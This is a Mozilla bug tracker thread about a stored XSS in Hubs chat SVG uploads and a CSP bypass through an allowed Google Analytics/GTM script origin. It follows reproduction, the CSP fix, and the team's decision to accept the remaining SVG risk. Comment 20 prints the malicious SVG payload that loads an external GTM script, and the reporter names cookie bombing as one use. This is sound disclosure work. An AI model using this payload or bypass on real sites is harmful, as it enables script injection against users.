Categories
(Websites :: Hubs, defect)
Tracking
(Not tracked)
People
(Reporter: s.h.h.n.j.k, Unassigned)
References
()
Details
(Keywords: reporter-external, sec-high, wsec-xss, Whiteboard: [reporter-external] [web-bounty-form] )
Attachments
(4 files)
Steps:
- Go to https://hubs.mozilla.com/ and join any room
- Go to chat and upload attached SVG file
- Open uploaded SVG file and observe an XSS
Uploading SVG is allowed, and therefore execute script on the page.
This can be used to make victim inaccessible to https://uploads-prod.reticulum.io/ via cookie bombing.
We could have used AppCache to steal victim's uploaded files, but sadly, AppCache just got deprecated in Chrome 94 :(
Comment 1•5 years ago
|
||
This reproduces for me, but
- Disable Firefox Tracking protection, to ensure that Google Analytics is not shimmed
- Disable your Ad Blocker, if present
- in case this has a weird opener relationship, reload or copy&paste URL.
With all these taken care of, I can see an alert() with the current domain.
We'll need someone from the hubs team. Can you take a look, Dom?
Updated•5 years ago
|
Comment 2•5 years ago
|
||
Thanks for reporting and repro'ing. I can take a look at this.
| Comment hidden (offtopic) |
| Comment hidden (offtopic) |
Comment 6•4 years ago
|
||
Brian: did this bug get fixed elsewhere? Both the reporter and Freddy (comment 1) would have been using modern browsers, and now reticulum appears to have a CSP.
The duplicate bug was about XSS from a browser that doesn't support CSP (IE).
Comment 7•4 years ago
|
||
(In reply to Jun from comment #0)
Steps:
- Go to https://hubs.mozilla.com/ and join any room
- Go to chat and upload attached SVG file
Hello Jun,
I couldn't find the SVG file mentioned here, can you please re-attach the image so we can figure out whether this is related to CSP or not?
Thanks,
Frida
Comment 8•4 years ago
|
||
Comment 9•4 years ago
|
||
If I remember correctly, I was not able to download the SVG mentioned in the original report, when I first looked at it months ago. I did try reproducing it with my own SVG file that contained a script tag, but that did not reproduce the security issue, since our CSP blocked it at the time in Firefox and Chrome. I'm also unable to reproduce the steps mentioned in comment 1, since it seems CSP still takes effect. (I'm unsure how Tracking Protection would affect CSP).
As far as I know, we haven't changed our CSP rules since this bug was reported. So, unless there was something very particular about the SVG that the reporter used, I can't reproduce this issue in modern browsers.
I've attached the test SVG that I created to try to reproduce this.
Comment 10•4 years ago
|
||
Jun combined this with a CSP bypass. I'll ping him out-of-band to make sure he recreates the PoC.
| Reporter | ||
Comment 11•4 years ago
|
||
Here is the new link and PoC SVG.
Updated•4 years ago
|
Comment 13•4 years ago
|
||
Thank you both for getting back to us with another PoC, and apologies for the long delay in getting to this.
I'm now able to reproduce this issue. To spell it out for future reference, it looks like this circumvents the CSP by using a Google Analytics script, since that is one of our allowed origins. In particular, Google Analytics apparently allows the inclusion of a custom template macro script, which in this case simply alerts the page origin. Though presumably it can contain arbitrary code. This also explains why you need to turn off tracking protection and your ad blocker, since those functions usually block Google Analytics.
I'll see what we can do to fix this.
Comment 14•4 years ago
|
||
Hello all,
We've pushed a fix for this that removes google-analytics domains from the CSP that is used when serving uploads. The CSP for uploads is now extremely limited to the bare minimum that we require.
Comment 15•4 years ago
|
||
Thanks Brian.
I can confirm the fix using https://uploads-prod.reticulum.io/files/4212ba91-c1be-4506-acdf-e135bd04c7fc.svg?token=99da4029982b8537031a3a5f5b1deb05, the payload is no longer executed.
For reference, the CSP was modified to default-src 'none'; img-src 'self' https://uploads-prod.reticulum.io; style-src 'self' 'unsafe-inline'
Comment 16•4 years ago
|
||
Updated•4 years ago
|
| Reporter | ||
Comment 17•4 years ago
|
||
| Reporter | ||
Comment 18•4 years ago
|
||
The XSS isn't fixed yet though?
You will likely get more report if you don't fix actual XSS.
Comment 19•4 years ago
|
||
Hello Jun,
Agreed. The Hubs team allow uploading SVG images as a product feature so they decided to accept this risk as long as the malicious payloads are not executed. I asked the team to reconsider if SVG files become a higher risk.
Thanks,
Frida
Comment 20•4 years ago
|
||
malicious SVG for reference:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="200" height="100" style="fill:rgb(0,0,0);" />
<script type="text/javascript" href="https://www.google-analytics.com/gtm/js?id=GTM-PPQG64D">
</script>
</svg>
Updated•4 years ago
|
Updated•4 years ago
|
| Comment hidden (offtopic) |
| Comment hidden (offtopic) |
Updated•4 years ago
|
Updated•2 years ago
|
Description
•